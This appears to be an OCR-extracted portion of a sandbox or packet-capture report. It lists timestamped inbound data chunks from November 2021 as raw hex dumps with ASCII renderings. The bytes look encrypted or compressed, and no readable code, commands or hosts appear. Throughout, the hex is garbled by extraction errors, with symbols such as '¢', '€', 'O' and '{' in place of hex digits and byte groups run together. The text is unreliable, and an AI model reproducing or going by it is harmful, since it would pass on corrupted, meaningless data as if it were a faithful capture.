42 ab 1f 4c 10 eb 4b al 2b a3 0a 44 e6 d0 7e 77 7f bc 54 03 9a 63 5b 5e 37 78 4b ¢7 5a €8 24 09 84 95 26 70 Oe c5 {7 b
€9 0c 37 ¢3 06 82 b0 63 c3 0a 1a 76 44 bc f1 63 3a 4c 30 eb f3 a2 fe 47 ¢7 b7 19 59 b5 56 46 ce cf 2a fa 81 5c 8 fa 05 29
91 5a 34 76 09 d3 8b 17 b5 ba 67 1f 8c 39 04 74 ¢4 a9 6¢ b3 b2 1d c4 e8 €9 39 14 02 2b 73 dd aa 12 45 71 f8 d9 86 €9 eb
f4 b2 al 8 25 99 af 4e eb eb fb 6¢ d5 46 9c 80 3d
Data Ascii: {/aa#tohvQ?qEF&jLkn q%\luj~JU*%#RQqUBWA]BLK+D~WTc["7XKZ$&p7cvDc:LOGY VF*\)Z4vg9otl9+sEq%NIF=

2021-11-29 13:25:46 UTC 60 IN Data Raw: 6¢ d2 b3 53 66 62 ee f3 d5 3b 8f 74 d4 c1 3e 86 5a 1a f8 fa 80 6¢ 44 b2 5e ca a2 e2 80 29 b8 01 9b f9 39 7d bb

de 35 a3 1d 08 2f 79 e6 81 9f 3e b2 a5 32 9e e6 92 9e b8 ac f1 15 3d 8f d2 92 56 dd 34 Oe 05 43 Oe fa 50 6d fe 00 a0 7e
3851 ad 46 c6 7d 22 63 7d b8 02 db 4c 62 60 4b db e7 bf 55 27 bf de 77 95 ca f8 54 a5 14 1c 75 75 2a el 5¢c b1 41 77 f1
c1 14 dd 40 a8 41 33 03 Ob fa 9f f8 46 1c bb b8 02 18 50 03 46 dc 8d cd dd 16 9d 2a 3c 29 54 7b f1 90 44 49 85 93 da ca
79 1b ec d2 09 1b 02 15 15 fc a9 Oc 86 aa 5d ea cf ea c0 d5 bc 47 91 da 9b ad 19 44 9d 72 51 7b 1f 37 a8 b4 0d 3c 5a 4f
d5 cb 41 6f 7d ca 04 46 93 a5 a9 7a 35 51 1d ae 12 3d Ob bb 38 f1 d7 4d f9 dO dO f3 b6 ca Oe a0 f9 97 dO b7 e7 89 4b el
a8 el 7e e54ad5 1d 22 18 06 ¢9 30 7c c8 01 ea 2e d2

Data Ascii: ISfh;t>ZID")9}5/y>2=VACPmM~8QF}"c}Lb KU'wTuut\Aw@A3FPF*<)T{Dly]GDrQ{7<Z0A0}Fz5Q=8MK~J"0|.

2021-11-29 13:25:46 UTC 61 IN Data Raw: 34 d8 3 39 e9 e7 bb 4d 49 ad 53 50 cd 3f 92 02 88 e4 2c be 44 b2 3a 73 1f 3 22 83 01 9b Oc 55 el 1f 7a le
71 be 54 44 97 6e 5¢ 31 11 7a 4b c1 4b e5 Oc 3a 81 95 20 65 25 c7 7 a8 ef 1d 3a b6 1e 83 b1 72 2d 18 3f 58 72 bc f1 17
29 42 52 53 f9 a0 e2 25 Oe 8e 19 53 a0 d7 4c d7 dc 2a 43 9a 4c e9 el 1le 3d 37 71 Ob ae fd 04 12 07 b3 a7 bc 7f ac 29 02
6f c7 91 6 4b 59 ca 32 f9 cc 17 34 8f 2¢ 79 ce a4 72 f7 60 f0 c5 f5 a5 d3 f4 b6 09 37 2f 8b 91 6f 08 ea fb 27 f0 40 88 a8 14
63 67 ed 2b ef f6 84 21 f2 d5 35 2a 3a 45 28 ee dc 63 31 72 50 a8 3f c4 48 4e a2 db d7 3e d0 05 e2 76 1c 46 23 32 44 09
3f 39 b0 62 62 37 f3 d3 82 a7 5¢ 9b 43 b7 34 82 59 97 ab fd 34 eb fe 07 fa 03 af 40 30 6b 2f Oe 32 4e cd 28 le dacl 16 78
5e 02 a2 9f 9f 47 c9 de 95 c9 31 f9 4e 21 08 87
Data Ascii: 49MISP?,D:s"UzqTDn\1zKK: e%:r-?Xr)BRS%SL*CL=7q)oKY24,yr 7/0'@cg+!5*:E(c1rP?HN>VF#2D?9bb7
\C4Y4@O0k/2N(X"G1N!

2021-11-29 13:25:46 UTC 63 IN Data Raw: 25 b7 f8 9b bb c8 f8 ce a2 3b 28 6a 4c bc e6 a5 ab 70 6 d9 ef 16 41 57 b9 75 3d d8 Ob fO 89 9a 56 44 8a 9f 84
14 8d a4 da cd 8a c2 c4 4f 2f 39 3b 30 4b 73 7c 90 44 43 0f ac 9d a6 51 39 55 d4 1a 13 8f Oc 3a b4 a0 2c 66 ¢5 75 e8 53 fd
d6 c2 al 5e ad 62 88 aa 00 58 8a 19 c9 42 1a 29 a6 92 7 1a 58 4f 4f ch 4e 58 31 d1 78 dc ed 88 b4 6a 25 ca 1d al 62 34
1c 27 23 28 9d 2c cd 4e c1 f2 ba d0 09 35 c0 c7 cd a3 {7 7a 72 e4 b7 f2 79 70 4a d5 6d 10 3a f9 cf 21 75 45 15 ¢5 33 c4 da
d3 9c 92 6b e9 a5 8d e4 26 96 aa 99 7 19 31 44 3c fb 59 bc 20 ab d5 3e 87 3f 8b bf d8 44 07 63 82 8a 5b 22 53 c3 5e 8d
8c 6f 8e 12 3c a9 57 1a e2 61 42 4b b3 9a 69 56 72 e4 24 da 76 26 €0 00 e2 2d 57 30 2b 67 5e fbh 62 a4 d8 15 f1 23 5f 70
45 15 el 9a c0 cd fb fd 46 eb 79 08 0f 6a 5e 16
Data Ascii: %;(jLpAWuU=VDO/9;0Ks|DCQIU:,fuS b XB)XOONX1xj%b4'#(,N5zrypm:luE3k&1D<Y >?Dc["'S"o<WaBKiVr$
V&-WO0+g"b#_pEFyj*

2021-11-29 13:25:46 UTC 64 IN Data Raw: 5a el 16 38 c7 fa 34 76 09 d3 ba 12 b5 b6 05 dc ab 38 Oe dc ¢6 b6 65 cb 9a 35 ec e6 c¢1 67 07 8f 2a 1c 6d aa
0147 c2 el d6 el f3 d7 f4 b6 09 c1 74 89 bb 60 4d 5a fa 66 ce e2 99 bl 18 6b 74 39 3d fc e6 61 ff f0 d5 97 3a 2b 54 2d 74
d1 6a 12 be 52 a9 3f cd 27 ff f1 db dd 2d 44 12 f1 64 fd f6 21 32 51 18 2c 28 b8 f8 71 32 €9 f2 85 c8 1b 9a 43 bd a3 87 2a
e7 bc ee 38 c0 32 16 ff 2b f5 55 36 76 be bd 1f 42 d6 38 8f 12 d7 €8 73 5¢c 02 96 d7 9d 47 de b7 39 36 30 df 47 d8 01 b9
d7 45 31 a4 54 1e 2e e7 f9 6f 45 09 2a e6 e5 a4 6f 67 96 ea 8f 73 80 13 69 18 77 69 6e 30 0d b4 98 89 c8 c7 a9 c9 98 34
4f e4 a9 el bf 2d f2 06 90 c6 53 d1 7b 47 17 54 44 46 e6 43 dO a9 b7 aa 77 fa €6 47 dc de b5 28 19 4a 89 ed ac 82 80 d2
7d 80 d3 05 dd 61 c2 2e 37 2b a8 dd 72 ac b1 8d 10
Data Ascii: Z84v8e5g*mGt MZfkt9=a:+T-tjR?'-Dd!2Q,(q2C*82+U6vB8s\G960GE 1T.0E*0gsiwin040-S{GTDFCwG(J}a.7+r

2021-11-29 13:25:46 UTC 65 IN Data Raw: 1c 58 4f da 54 fe 4f b0 79 d2 57 26 98 7d f7 26 56 Oc a7 6e 21 03 35 85 39 b3 15 cd db 5e 42 b2 19 Oc b7 c2 ca
f9ae f0e2 72 e9 al f6 65 76 73 bb 76 06 1c 2e eb 21 75 d3 a6 d3 26 c4 1a 5c 87 84 7e e0 ad 20 14 29 07 04 af 46 2e 27
57 ab e3 d0 14 2b b9 c7 98 97 fa 83 b6 57 59 2b 63 8f 98 d6 3f 5¢c cd 48 37 24 05 8a 12 a6 90 74 05 fc 4b 60 5a b8 8d 23
54 7e ea 37 db 3c 24 eb Oe ce 1c b7 01 f0 14 2d eb 65 b1 ea 0a 7c 36 4b 4e 71 10 5d b3 75 d7 d8 eb cb db 6f 37 b1 59 cb
07 99 07 91 c0 ba eb 10 3c 78 0b c0 bd 0f fd 66 1a 54 4b 03 Ob e7 c8 10 cd 5c 04 e6 el 48 b4 ff bd e8 fa f3 49 80 d5 e3 9e
fc 12 ¢3 c4 db 9e 86 6e 6f 9c ea 51 3e 53 €9 9c 6e e5 b6 7c 60 91 b3 Oa 8d 53 3d 44 96 68 3b b2 91 62 13 85 b5 8a e4 73
ed 66 a5 66 el c3 5e c2 73 54 59 a0 27 ac 8e 3b 3e
Data Ascii: XOTOyW&}&Vn!59”Brevsv.!u&\~ )F.'W+WY+c?\H7$tK Z#T~7<$-e|6KNgJuo7Y<xfTK\HInoQ>Sn|"S=Dh;bs
ffAsTY' >
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kBytes
Timestamp transferred Direction Data

2021-11-29 13:25:46 UTC 66 IN Data Raw: e4 7f 22 48 6a 81 e8 f2 23 6¢ 48 d1 b4 fe b4 46 28 97 1c 5f bb c8 €9 44 ac 35 e4 66 62 31 e3 b4 83 01 61 cf 7
c0 ce 51 9520 Oc 13 18 d7 98 21 56 64 f8 98 14 14 8b b5 48 cb 00 db db 3e b2 3b 1e 3e 60 45 ce 87 c8 7c 93 bd 9b 1b
4a 3b 8 fc b6 13 13 17 15 f1 ab Oc 8a ed 9f e9 cf e6 f9 09 ac 41 f4 d6 bd ad 1f 5f fa 4b 57 53 1b 27 bf a5 b4 09 4f 5e dd cd
c4 40 3e ce 05 53 da 9e 8d 6¢ 22 41 80 99 7d 25 Ob 19 23 09 96 16 77 d2 dO ff ba €3 93 96 d1 c0 d3 al c9 5e 63 e3 a2 cb
40 fd 55 ¢5 ff 01 1a 06 ce 32 56 c8 27 d4 3d c4 40 70 8d 95 75 53 a2 32 el 09 25 b3 b9 7d 06 4e c8 9f ea 5e a2 2¢ 95 bb
2e 80 2a aa f5 bb aa ff 6b 8d 8f d6 24 47 ca 7b 28 Oe 6f 8e 03 af 90 1e 01 fc 47 ad 52 b2 9a ff 6a 64 ea 34 e4 ba 33 e7 19
ad 14 a9 30 21 5e 06 ea 65 bb €8 15 72 3b 8e 7c
Data Ascii: "Hj#IHF(_D5fblaQ VdH>;>"E[J;A_KWS'O"@>SI"A}%#w c@U2V'=@puS2%IN~, . *k$G{(0GRjd430!"er;|

2021-11-29 13:25:46 UTC 67 IN Data Raw: a8 fe 39 2a a0 11 dd 1d 21 64 c7 cd 37 9d 9f 4c 4 f8 81 98 b1 48 83 5e 12 fa ed 1c al bc 7b 60 a6 2c 17 72 de
21 ca bd 28 82 dc 28 e0 b1 b4 98 f6 64 0b 26 3e 4d 60 f1 dc fd 9a e2 7a 01 14 33 3e 9c a8 6b 09 f2 ea 63 d5 4d 9f 72 1d
72 6a bc 23 fe fb 4e fb 66 b4 09 3a 37 52 eb fd d1 72 26 63 41 98 dd d5 4d c0 47 cc 0d 29 81 89 dd 76 c5 46 30 34 47 18
3a b7 1d 7a b8 25 2 fO 8f 8¢ f9 8a 46 a6 be 16 48 82 ac e0 a6 09 22 28 e2 12 a9 40 38 61 d4 1e 10 d6 fc d3 71 13 c1 cO
63 49 16 b0 18 43 d9 f3 ¢8 9a 31 21 db 42 23 11 al bd 55 24 b0 72 d6 fO 79 f9 11 f1 19 24 78 d9 b0 6f 71 62 c3 3b 63 85
31 1c 38 77 6f Ob 88 1d ba 85 4b 25 c8 ae 39 88 46 6f 49 5f b0 9e 05 ¢3 69 22 cd 40 d4 47 81 16 42 b0 99 86 1a c3 bf f4
b6 77 89 c4 45 dc d8 a0 22 03 c7 8c ef ac 83 85 ca 6¢
Data Ascii: 9*1d7LHA{",r!((d&>M z3>kcMrrj#Nf: 7Rr&cAMG)VF04G:z%FH"(@8aqcl C1!B#U$ry$xoqb;c18woK%9Fol_i
"@GBWE"|

2021-11-29 13:25:46 UTC 68 IN Data Raw: 26 fe fe 9d 23 a8 83 97 ed e2 7b Oc 37 a8 b8 73 1c 49 47 bc 8 48 47 34 dd 00 33 da 8e ab 70 20 5f 1d af 6a 4a
23 ba 322593 37 cc bd fa f4 a5 ¢9 00 bl 5¢c eb d2 b7 e0 {5 69 fd 25 cc 6f ec 5a c1 77 0f Ob Oc c6 af c2 f1 24 ¢3 2c d9 dd
4b 9b 84 7e 8 3d a6 eb 09 98 b2 b9 7d 08 35 5a b1l ef 48 bd 12 ac 48 2f 8a 31 99 b8 4e 3a 27 7d 9e 96 d6 3a 45 d9 2c 85
0d 6f 84 03 a9 d7 7b 04 fc 4b ¢9 4c b0 8¢ f6 9 c2 94 17 cd ea 3d f4 18 ea 1e a9 30 21 76 ¢5 85 73 ba f9 09 61 3a 52 bl
72 26 55 bc ¢7 d2 d2 f8 d1 d2 50 15 2b 4c d4 3e b4 1e 86 d3 17 1b 17 16 72 18 90 b0 1e €9 4e 9b 56 4b 05 1d 6a cf 27 cc
5d 10 c5 f4 60 17 ea bd e2 d2 b3 49 80 de 74 91 fa 12 a3 d7 c9 8f 04 79 e3 b2 99 30 3e 7b 50 91 67 80 6b 27 60 9b aa 1b
59 f6 70 45 96 63 3b b9 96 77 0f 96 b0 88 c9 d3 58
Data Ascii: &#{7sIGHG43p _jJ#2%7\i%0Zw$,K~=}5ZHH/1N:"}:E,0{KL=0!vsa:Rr&UP+L>rNVKjT Ity0>{Pgk" YpEc;wX

2021-11-29 13:25:46 UTC 70 IN Data Raw: 4b 99 37 c4 6a 4b fO db 42 3e 57 15 91 cc c5 47 29 38 22 f2 3e 39 a0 6e 6a 1e 9d e7 81 al 83 e5 47 b7 b6 aa
ce 85 bd e8 41 2f 35 07 fO 6¢ 52 50 36 7a d9 27 61 46 dc 2a 59 93 c5 16 74 65 90 bd 8¢ 9f 34 24 d9 8b 3d 5f 28 52 26 Oa
a7 01 39 24 al 7a 6a ab e3 ff 06 df 9f 29 ec f7 29 92 70 68 e1 80 9f 84 3b 3e 14 5f 10 05 82 0a 9c¢ 10 99 36 c0 97 a0 9a 54
58 92 7d be bb 27 9b 94 23 ¢7 59 d3 47 3a 12 42 bc 6f 02 18 9 b9 9d 3d 74 89 c2 36 20 d9 a6 28 6¢ 3a 9d ed a6 8b bb
4b 68 9a ¢3 05 02 61 c2 2e bd bf b6 ca 5¢c 83 49 8¢ 16 d0 f0 d2 cf 36 c¢3 22 f3 69 bf b2 02 ad f2 1a b7 37 21 ¢3 97 b7 55 13
94 e6 db 9d 50 72 73 fc e5 34 ae d4 36 1d fd a8 ef 68 2e 58 e2 3f f2 86 26 €3 6a 99 f9 35 3a 68 dd 35 af 23 e5 41 87 ed a9
09 29 68 bc 33 89 e4 82 49 ba ac f7 43 ec 8¢c d2 9e
Data Ascii: K7jKB>WG)8">9njGA/5IRP6z'aF*Yte4$=_(R&9%zj))ph;>_6TX}#YG:Bo=t6 (I:Kha.\I6"i7!UPrs46h.X?&j5:h5#A)h
3IC

2021-11-29 13:25:46 UTC 71 IN Data Raw: 9c 87 43 b6 d0 91 2a 87 7f 57 5f 11 76 8f 8f f9 6d aa 23 bc ab 26 6f 8e 13 b0 b8 50 05 fc 74 ¢3 85 b0 98 f9 5d
75 fb 3a df da 31 e7 30 cO 0d a8 a6 2b 67 d3 fc 76 b3 c1 16 6f 32 58 6f 76 Ob 62 9f 39 d3 f4 e0 d2 ed 11 3d 2a 4a d4 09 99
0d 8e d9 d8 13 Oe 37 8c 19 fd ab Of ee 43 84 5a 58 0d 1d 7b c7 Oc 33 5¢ 3c fa e4 67 Oe e3 21 ff c1 al 49 91 d7 76 5f fd 3e
cb c6 ce 99 8b 6e 7f b9 f9 59 3f 6a 52 83 63 11 9f Oa 6¢ 8f 34 36 5b de 17 57 92 76 26 af 8f 71 0f 9b b1 67 cd 71 ec 7e b0
7d ee c4 45 c9 11 88 5a 8¢ 2d ae 98 37 11 9e 94 27 52 a9 6b f5 84 cc 6a ed f2 16 52 82 e0 89 08 37 db 62 3f ec 88 78 47
56 b0 57 a6 cf 71 b6 29 f2 38 2f 92 48 b0 30 7e 0d b3 d1 b4 09 88 02 44 fd 06 61 66 ab bd 78 51 80 61 4d 5¢ b9 cf 5a c2
4c 87 2171 85 9f 00 15 17 d6 ff ae f8 04 28
Data Ascii: C*W_vm#&oPt]u:10+gvo2Xovb9=*J7CZX{3\<g!lv_>nY?jRcl46[Wv&qgq~}EZ-7'RkjR7b?xGVWq)8/HO~Dafx
QaM\ZL!q(

2021-11-29 13:25:46 UTC 72 IN Data Raw: 62 63 85 3d 27 18 66 6b 29 d6 08 b4 94 f2 b1 c7 bf 31 b4 53 58 ec 5¢ c2 ba 2d 4 7f 33 ¢3 3¢ 53 6€ b9 10 55 60
54 89 0f ec 87 f9 ab 77 89 d5 41 cd dd b0 4d 8a c6 9c eb bf 85 bb 8f 6d 9a cf 3¢ 82 74 c7 3f fa b3 b3 ca 5c 9f 2d 8d 16 dO
8¢ 28 ¢6 1e d7 29 db e9 aa b4 2c a2 76 1e bd 19 26 44 93 bd 6a 9c 68 e7 db 86 38 a7 75 fc ef 17 95 54 23 15 c2 6¢ 66 6¢
2e 4f c2 bc d9 1e 24 90 90 8e 74 38 55 95 dd 21 b1 21 ¢5 8d 79 ec a3 17 16 68 ac 21 9c f6 37 69 bb ac f6 29 07 99 fa 37
7e 38 3f 26 93 6b 92 0 41 63 c5 09 a7 56 a9 41 a4 51 €6 47 08 b 7f 90 el cc c1 6f 48 d7 da f3 a1 52 0a 0d d8 5f b1 dc dO
88 b0 3¢ 34 63 f8 27 {7 a2 b1 44 64 cd c7 b5 dd 46 b4 41 81 03 Ob fa 9a 0d 56 4b 83 97 8e 10 8d a2 50 51 8a dc db 3f a7
3¢ 28 07 el 53 df 9a 50 6b 45 be 9a bf 4d 94 eb
Data Ascii: bc='fk)1SX\-3<SnU TWAMm<t?\-(),v&Djh8uT#Ifl. 0$t8U!lyh!7i)7~82&KACVAQGOHR_<4c'DAFAVKPQ?<(SPKEM

2021-11-29 13:25:46 UTC 74 IN Data Raw: 6a 53 01 ¢3 42 02 ed 8b fc 06 f1 a2 f1 cd f2 d5 91 d1 70 b5 e3 70 5e ¢6 ¢7 90 81 66 db 3f fb 5f 20 6d 7a 49 6e
ef 9e ba 71 9f a6 Oa 7b 25 16 44 96 f5 39 b2 98 69 3e 48 a6 99 cc c1 fe 68 bc 6¢ f1 bl d1 c7 Oe 69 41 80 87 bf 9e 2a b3
be 9b 38 49 a9 32 7a 9d c2 64 f9 cd d3 ac 83 cc 18 11 30 d0 10 24 b4 14 63 43 56 b9 5f 32 de 6e al 29 e4 95 b2 af 4c ac
28 72 9f c0 4d ab 02 88 04 55 e2 18 5e 9 55 bc 54 de 97 6d 4c 41 38 e4 5a c9 42 {7 4c ef 94 9b 3f 2a c1 ¢5 f7 ae 75 1d
39 ¢3 195 2d 69 fd 16 05 33 d9 ad ff 01 25 00 bd f8 f7 bd {7 6f ba a7 17 4d 8a f0 75 c6 cd al 84 87 42 f1 d0 e6 2f b9 c6 a8
67 0d e4 e7 09 bb 2c 7b 62 b5 33 24 fc d7 af 7d 29 b7 3b 3 €0 c9 cb 03 8f 2c ef cc a5 1e 40 7f 9b 53 €9 83 f4 fa a9 4f 75
3c 83 a4 69 02 01 fb 66 c4 dc 99 a6 07 66 60
Data Ascii: jSBpp?_ mzIng{%D9i>HhliA*812zd0$cCV_2n)L(rMUAUTMLABZBL ?*u9-i3%oMuB/g,{b3%$});, @ SOu<iff"

2021-11-29 13:25:46 UTC 75 IN Data Raw: b6 7f 62 70 ea db 9e 25 71 73 dO eb 28 ac 47 3f 1d f2 96 98 6d 02 5c dd a5 f1 8f 3c 6e 97 b4 fb 14 57 be 5f 32
8f 35 ed 35 49 e5 a9 f2 3f b2 af 81 9a 0 ab 1d 01 ac f7 37 18 92 ce bc ¢5 38 35 04 05 6d ba 5b 54 67 eb 2f 18 56 af 58 de
56 ec 53 2a 6e 72 ff f0 d8 4c 62 65 db 3 45 b1 46 24 86 c0 5d bb c2 ff 78 ba 14 91 71 75 26 98 bb b2 50 7a ca e3 00 ce 4d
86 f5 1c 03 Ob el 85 17 4c d9 84 bb 07 10 e2 be 44 dc 87 cf d5 28 a0 25 04 5c 43 53 df 81 4a 52 9e 27 89 bf 4a 1f 83 58
1b 13 19 35 99 af ab 0a a8 7b 75 e8 c5 ff d4 cc a8 69 cf fe 99 a7 26 12 94 63 55 20 ca 37 a8 b8 71 1d 49 48 c7 f2 35 45 3e
c8 13 cd fb 8f ab 7b 20 59 1d a9 6b 34 0f 19 23 20 91 2e ca c2 c4 el b2 4e 30 a9 d1 c1 cl a6 f0 f7 75 f4 34 f6 7e fb 73 75
72 06 10 20 de 30 63 49 28 dd 3d c3 da d5
Data Ascii: bp%qs(G?m\<nW_2551?785m[Tg/VXVS*nrLbeEF$]xqu&PzMLD(%\CSJIR'IX5{ui&cU 7qIH5E>{ Yk4# .NOu4~
sur Ocl(=

2021-11-29 13:25:46 UTC 76 IN Data Raw: 0d 3b ee 88 68 57 49 b5 5e ae cf 61 a5 06 ff c6 0d be 42 al 17 62 12 fa 65 3c 03 9b 00 46 f8 18 56 e3 54 bc 5e
2d 90 62 5b 54 3d a6 47 ef 6d €8 24 79 ad ad 26 0a 05 1b f7 a8 c3 0c 36 ¢9 06 82 b1 78 3 0d Of 65 45 b0 eb 1d 3a 4d 3f
eb d1 bc ea 28 2c 9¢c 0a 63 a9 09 dO c4 cd 3d 36 89 5d e9 e6 02 17 2e c4 34 76 03 f2 f2 0a 4b b1l 46 79 ae 10 38 7b d7 a9
6b 9d 88 35 ec e6 ff 7f 81 8d 2c 73 c2 b6 Oc 4d 69 ef ¢5 06 8c c7 el b2 2b de 28 8d bd 70 0a c4 fb 66 ce 56 c8 7b 15 63 67
37 20 e2 6 50 3e f9 2b 96 07 34 95 27 ee dc 61 03 66 50 a9 35 c8 57 42 fd db de 27 a9 05 ce 78 c6 34 2b 30 51 03 50 30
a8 62 68 3d fa ee 81 ae b4 94 bd b6 9c 8a 61 ac bf ee 32 cc 24 Oa fa Oa bl af 37 5¢ ¢3 08 36 74 d9 2c 77 05 e9 38 72 4d
0d a8 bf 03 58 d1 d5 8b 3e 2b 2b 52 0a 11 a8 01 71
Data Ascii: ;hWI*aBbe<FVTA-b[T=Gm$y&6xeE:M?(,c=6].4vKFy8{k5,sMi+(pfV{cg7 P>+4'afP5WB'x4+0QP0bh=a2$7\
6t,w8rMX>++Rq
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kBytes
Timestamp transferred Direction Data

2021-11-29 13:25:46 UTC 77 IN Data Raw: cb 6f b9 ¢8 d0 52 b3 3c 34 75 75 31 el a9 9b 4b 70 de f8 e8 dc 6a bc 71 16 03 Oc €6 77 07 6b 41 80 b4 16 13
95 5a 47 f0 8f f7 d9 15 50 2a 47 46 42 53 db ba 66 41 90 c0 f3 b9 5b 1d c6 d4 1a 13 00 2d 3f ab 83 Oc 80 c5 73 e8 cf fd c7
d6 86 5a fe f9 8e 53 1e 79 97 7b 5e 53 1a 20 56 b3 4e 18 4f 44 d3 dd 51 b9 3f e2 06 6b fe a4 48 78 48 3c Oc a6 79 0Of 28
b9 31 52 e8 3e db d6 fa f5 a5 c3 Oc 99 d3 c0 fa b7 el e6 65 e3 a8 f6 79 e7 70 c9 72 01 0d f8 ce 0d 77 c1 Of c2 2b c5 32 4e
al 97 63 fa b3 16 ed df 88 9f bb 5¢ 1b 1a a7 a2 91 35 a3 3a b9 63 0d 82 23 ed c2 44 55 04 56 9e 9c c7 20 64 de 43 85 Oc
6f 8e b7 a0 b8 41 13 {7 6a d9 4b b4 8d Ob 46 59 f9 23 c7 ea 30 f1 el ¢3 21 aa 27 20 67 c5 f2 9b ba d5 01 46 30 73 8¢ 65
78 11 8b c7 d6 f2 c9 d8 f9 03 7b 2b 4a da 3c 8¢ 1e
Data Ascii: 0R<4uulKpjgwkAZGP*GFBSfA[-?sZSy{"S VNODQ?kHxH<y(1R>eyprw+2Nc\5:c#DUV dCoAjKFY#0!' gFOsex
{+J<

2021-11-29 13:25:46 UTC 79 IN Data Raw: Ob 05 b9 c6 27 46 00 fb 9e 16 b5 b0 6a 6¢ aa 38 06 56 cO af 7d bf a5 18 e7 c4 d7 3a 03 89 5f 55 df ab 0b 37 62
83 9e f9 8d ed 9b 5 02 €9 2b 8f b8 4e 60 ef fb 60 ab 68 8a a8 1e Oc 5¢ 29 2b e9 f4 36 63 f3 d5 91 28 12 7a 38 ee da Oc 03
70 50 a3 50 97 49 4e f6 d9 b8 7c 56 04 e4 75 ed 07 26 32 57 66 17 3b aa 68 0d 63 el e3 87 a5 c4 d9 42 b7 b6 81 71 c7
b8 ee 34 bc 1c 05 fa 09 c0 06 37 70 d7 25 00 51 ec 2e 71 3b c1 16 72 45 07 be 9d 8f 4c f3 ¢3 8b 30 27 2b 52 0a 02 b7 22
44 27 b7 82 43 06 e5 e8 0b f7 0f 32 12 f0 76 6¢ 5a 6a c0 Oc 60 fe 40 34 1c 73 45 23 80 0f c9 e9 9d 36 c2 95 37 99 54 4d
d1 83 bf 93 2d f4 69 2a c7 53 ca 79 b2 3d 59 ba 40 91 e2 e8 93 b7 b2 7c 89 ¢3 53 22 d9 8a 20 14 cc 9c ea b4 7d 92 e4 6e
b1 c7 06 65 67 b9 54 95 3a b6 €0 78 f2 b6 fO 6a da 9f
Data Ascii: 'Fjl8V}:_U7b+N""h\)+6c(z8pPPIN|Vu&2Wf;hcBg47p%Q.q;rELO'+R"D'C2vIZj @4sSE#67TM-i*Sy=Y@|S" }negT:xj

2021-11-29 13:25:46 UTC 80 IN Data Raw: 49 cc cb 56 20 a2 c8 1b 52 dc Oe ab 7a 33 ca 0a b9 6e 3c 96 bd 2d 3b a2 d9 db d2 d0 69 a3 dc 0a 89 63 cO d2
b7 7d e0 7c f5 b7 f4 f3 ea 44 ¢5 52 a3 1a 06 cf bd 73 c6 1c e2 9c d3 cc 4f 11 93 6b e8 ac 68 69 27 96 a9 99 99 19 31 44
3c ec 41 b8 25 f2 d5 29 9f 3¢ 8f a6 d8 53 1f 61 81 dd 5b 35 4b c2 5¢ b8 90 69 91 0d 80 55 50 05 fc dd c4 54 93 85 8e db
73 e4 1a d3 fe ab e1 00 e0 2d 24 30 2b 67 5e ec 7a 98 d9 e6 6d 32 58 f3 61 1c 59 94 8c 4e de f4 ff e5 38 8b 2d 55 8 09
818280 c6 ee 3b d0 3c 72 18 4d aa 01 c1 6e 15 56 4b 05 81 6¢ d0 39 ed a3 10 f2 5 fc 11 e0 97 c2 04 a9 49 80 43 69 be
d7 32 25 d7 c9 8f 08 7f fc 8f f5 76 a3 7d 45 b1 71 9a 02 20 7f bf a5 81 5d c1 39 64 1d 69 28 bc 1b 77 01 a3 b9 d0 50 5b fO
57 b5 €9 e8 ca 7f f6 dc 76 5b a0 bd b9 81 19 30 a0 09
Data Ascii: IV Rz3n<-;ic}| DRsOkhi'1D<A%)<Sa[5K\IUPTs-$0+g"zm2XaYN8-U;<rMnVKI9ICi2%V}Eq ]9di(wP[Wv[0

2021-11-29 13:25:46 UTC 81 IN Data Raw: 5b 1a 37 26 a0 71 69 36 f1 e8 98 59 aa b7 4a c4 0a 82 59 8c b0 f4 21 d8 34 16 f1 1c bf af 37 5¢ db 1le 16 55 Oa
3f 79 Oc d0 05 79 4d 16 b5 93 94 b9 d9 f4 a2 26 37 d3 42 2e 9a 87 91 40 20 a7 54 fb 2e e7 f9 16 df 67 2b ec f7 72 08 70
68 el c7 0f 84 3b 32 73 51 6d 01 84 13 ba 81 96 36 d7 b4 2¢c 67 55 72 3 89 97 0f 29 f4 6f 0a b3 53 db 65 ae 8c 51 bf 5b
95 17 €9 ae be bc 89 88 e8 46 ch ch ad 22 12 cc 83 ff 52 82 bf ca 47 9f fd 07 78 9a 3d 21 bf 29 82 cf 5a b9 b5 8d 16 71 9f
2f df 20 ¢5 01 ea ef b3 a5 fa 84 5a 1c af 3d 09 4c 8b 49 52 4c 67 e5 a5 31 3f 8f 76 ea c7 ae 87 5¢ 38 16 e2 8c 66 64 38 a0
cb 84 f3 91 2¢ 90 9e 81 07 3e 79 97 f7 37 8e 8 c5 b9 79 ec a3 04 24 b5 21 96 80 3a d5 7a ba ac fd 17 13 8d d2 87 4e 3d
35 fb Of 6b 92 56 50 67 fc 11 ab 7d ec 52 a4 58
Data Ascii: [7&qi6YJY!47\U?yyM&7B.@ T.g+rph;2sQm6,gUr)oSeQ[F'RGx=!)Zq/ Z=LIRLg1?v\8fd8,>y7y$!:zN=5kVPg}RX

2021-11-29 13:25:46 UTC 82 IN Data Raw: 90 4e fc fO 1e 2b ae 38 35 5a 00 e3 fe 12 b5 al 6e 7a 54 39 28 7d c0 bc 79 b5 b7 31 f7 12 €8 13 01 a4 2e 58
56 a2 2b 4d 7b c0 cc f8 66 €9 f4 b6 ac €9 2d 9c b9 18 bl ea fb 6¢ d2 68 a6 a8 14 69 71 06 Ob ec 88 ca 21 f2 df 81 03 14 45
3d e4 ca 50 29 59 5f ad 41 57 48 4e fa cd ff 10 57 04 e8 60 f6 4c Ob 1c 53 09 39 33 77 cd 60 36 €0 €0 92 a0 d8 27 43 b7
ba 89 48 81 ae ff 24 c0 24 16 eb 6¢ 66 51 36 7a c2 1d 35 5¢ cd 3d 60 03 ae f7 73 4d 0d ad 87 9e 55 d3 f0 bd 35 30 df 3¢
ea 00 af 23 55 30 b6 aa 51 3a f6 ef 11 e5 3a f6 9f 4d 5a 6e 7b 65 fd €8 0d b2 39 34 16 60 b5 12 91 1f b8 aa 72 36 c6 bf 30
8858 31 d5 83 bf bl 05 49 6d 22 c1 45 f3 41 b9 16 48 ac 74 8d 15 c¢1 01 b1 aa 71 e6 08 45 dc d2 al 33 Of a8 a8 ef ac 89
bb 77 68 9a c3 3b ae 4b c2 28 9f 2¢ 81 ¢1 53 d8 75
Data Ascii: N+85ZnzT9(}y1.XV+M{f-lhiq!E=P)Y_AWHNW'LS93w 6'CH$$IfQ625\="sMU50<#U0Q::MZn{e94 r60X1Im"E
AHtqE3wh;K(,Su

